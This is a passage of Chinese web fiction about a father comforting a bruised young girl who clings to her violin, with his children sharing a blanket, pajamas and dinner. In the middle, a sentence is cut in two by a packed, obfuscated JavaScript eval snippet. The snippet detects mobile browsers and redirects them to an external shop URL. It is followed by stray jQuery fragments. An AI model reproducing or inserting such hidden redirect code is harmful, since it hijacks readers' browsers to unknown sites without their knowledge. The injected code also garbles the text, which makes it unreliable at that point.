“林鸢，”他轻声说，“先去洗个热水澡，换身干的衣服。衣服可能不太合身，你先穿念儿的，明天我带你去买。”
林鸢抱着琴，站在原地，没有动。
她的目光落在沈念房间的方向。门没关严，从门缝里可以看到沈念在床上翻了个身，把被子踢到了一边，露出两只白生生的小脚丫。
林鸢低下头，看了看怀里的琴。
“……琴。”她说。一个字，但沈渡懂了。
“琴不会湿的，你把琴放在这里，没有人会动。”沈渡说。
林鸢摇了摇头，把琴抱得更紧了。
林暮从沙发上站起来，走到自己房间，出来的时候手里多了一条毯子。浅蓝色的，边角磨得有些起毛了——是他刚来的时候沈渡给他买的，他盖了两年，走到哪带到哪。他把毯子铺在客厅的角落里，铺得很平整，四角都压好了。然后他把沈念的念念不忘熊腿——不，把整只念念不忘从沙发上搬了过来，放在毯子旁边。
“琴可以放在这里，”他说，声音不大，但很清楚，“毯子软，不会磕到。念念不忘可以陪着它。”
林鸢看着那个角落。
毯子是浅蓝色的，像一小片晴朗的天空。念念不忘蹲在旁边，纽扣眼睛在灯光下亮晶晶的，好像在说：你好呀，我叫念念不忘，你叫什么？
过了很久，林鸢弯下腰，把琴轻轻放在了毯子上。
她放得很慢，像是在安放一个正在睡觉的婴儿。琴盒接触到毯子的瞬间，她的手指还在琴颈上停留了一秒，两秒，三秒。然后才慢慢地、一根一根地松开。
她站起来，转过身。
沈渡已经放好了洗澡水。浴室的门开着，暖黄色的灯光从里面淌出来，和走廊里的小夜灯汇在一起，像一条浅浅的光河。浴巾叠好了放在架子上，最上面那条是新的，白色的，叠得方方正正。
洗发水和沐浴露旁边多了一瓶新的。沈念用的是草莓味，林暮用的是无香型，而台面上这瓶是栀子花味的——沈渡不知道林鸢喜欢什么味道，但他路过超市的时候，闻到了栀子花的香味，现在他觉得这种味道应该属于一个会把自己的琴叫做“小夜”的女孩。
林鸢走进浴室。
关上门之前，她回头看了一眼。沈渡站在走廊里，背靠在墙上，手里端着一杯热水。林暮已经回到了沙发上，把那本没读完的绘本重新翻开，假装在看书，但眼睛一直在往浴室的方向瞟。
她的目光最后落在客厅角落的毯子上。
小夜静静地躺在那里。浅蓝色的毯子像一片温柔的海洋，念念不忘蹲在旁边，像一座毛茸茸的灯塔。
她关上了门。
浴室里很热。热水从花洒里落下来，砸在地砖上，发出密集的、温暖的声音，和外面的雨声不一样。雨声是冷的、凶的、不近人情的。而浴室里的水声是暖的、柔的、像一只巨大的手，轻轻地、从头到脚地包裹住她。
热水淋在她身上的时候，那些淤青开始发疼。
不是尖锐的疼，而是一种迟钝的、闷闷的、像被封在冰块里的痛觉忽然解冻了一样的疼。水太热了吗？不是。是因为她的身体太久没有感受过温暖了。冷的时候不会疼，因为冷本身就是疼。只有暖了之后，身体才开始记得——哦，我原来是会疼的。
林鸢站在花洒下面，低着头，看着热水把身上的泥灰和看不见的东西一点一点冲走。水从她的发梢流到肩膀，从肩膀流到手臂，从手臂流到指尖，然后滴落在瓷砖上，混进下水道里，带着那些看不见的重量，一起流走了。
她没有哭。
但她把水开得很大声，大到——如果她哭了，也没有人能听见。
洗完澡出来的时候，林鸢穿着一件沈念的睡衣。粉色的，上面印着一只穿芭蕾舞裙的小猫——和林暮当初穿的是同款，只不过大了一号。沈念的衣服穿在林鸢身上，依然是小的。袖口卡在小臂中间，露出一截细细的、带着淤青的手腕。裤腿吊在小腿肚上，脚踝上还有没褪干净的泥。
但她是干净的。温暖的。头发用毛巾裹着，露出一小截湿漉漉的发尾，水珠顺着脖子往下滑。
她站在浴室门口，像一个还没拆封的礼物。包装纸皱了，丝带散了，但里面的东西——那个七岁的、会为琴取名叫“小夜”的女孩——还在。
沈念不知道什么时候醒了。
她穿着小兔子睡衣，抱着念念不忘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547244|204194||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的腿——不，抱着整只念念不忘（缝好的那条腿在左，原装的腿在右），从房间里走出来，头发翘得像被雷劈过。她站在走廊里，揉着眼睛，看着浴室门口那个陌生的、穿着自己的睡衣的女孩。
看了大概五秒钟。
然后她说：“你是新来的妹妹吗？”
沈渡还没来得及回答，沈念已经走到了林鸢面前。她仰起头，歪着脑袋，认真地把林鸢从上到下看了一遍，目光在那只青紫的手臂上停了一下，然后移开了。
她没有问“你手上的伤是怎么回事”。不是因为她不懂，而是因为她太懂了，她以前也是这样的小朋友。沈渡教过她：有些人身上有你看不见的伤口，如果你看见了，不要盯着看，不要问，不要露出害怕的表情。你只需要——像对别人一样对她。
沈念记住了。她用六岁小孩能做到的最好的方式，执行了这条规则。
她伸出手，拉住了林鸢的手指。那根手指上有一道细细的、已经结痂的伤口，在沈念温暖的手掌心里，像一块冰被放进了一杯温水里。
“你饿不饿？”沈念问，语气自然得像在问一个认识了很久的朋友，“爸爸今天晚上做了红烧肉，我吃了两碗饭，林暮吃三碗，还剩一点在锅里。我给你热。”
林鸢低下头，看着自己被握住的那只手。
沈念的手很小，很暖，指甲修剪得圆圆的，涂着透明的指甲油——沈渡涂的，因为沈念说“涂了指甲油手指会比较漂亮”，沈渡就买了孕妇可用的那种安全的指甲油，笨手笨脚地给她涂，涂得歪歪扭扭的，但沈念很高兴。
这只手和沈念说过的话是一样的。不华丽，不煽情，但热乎乎的，带着红烧肉的香气。
林鸢张了张嘴，想说“不饿”，但她的胃替她回答了——发出一声很响亮的咕噜声。
沈念笑了，拉着她往厨房走：“走吧走吧，我给你热。爸爸说过，我家冰箱里永远多备一份菜，因为不知道什么时候会有客人来。”
林暮在后面小声补了一句：“你不是客人。”
沈念回头看了林暮一眼，好像在说“我当然知道她不是客人，我在社交你懂什么”。林暮闭上了嘴，默默跟在了后面。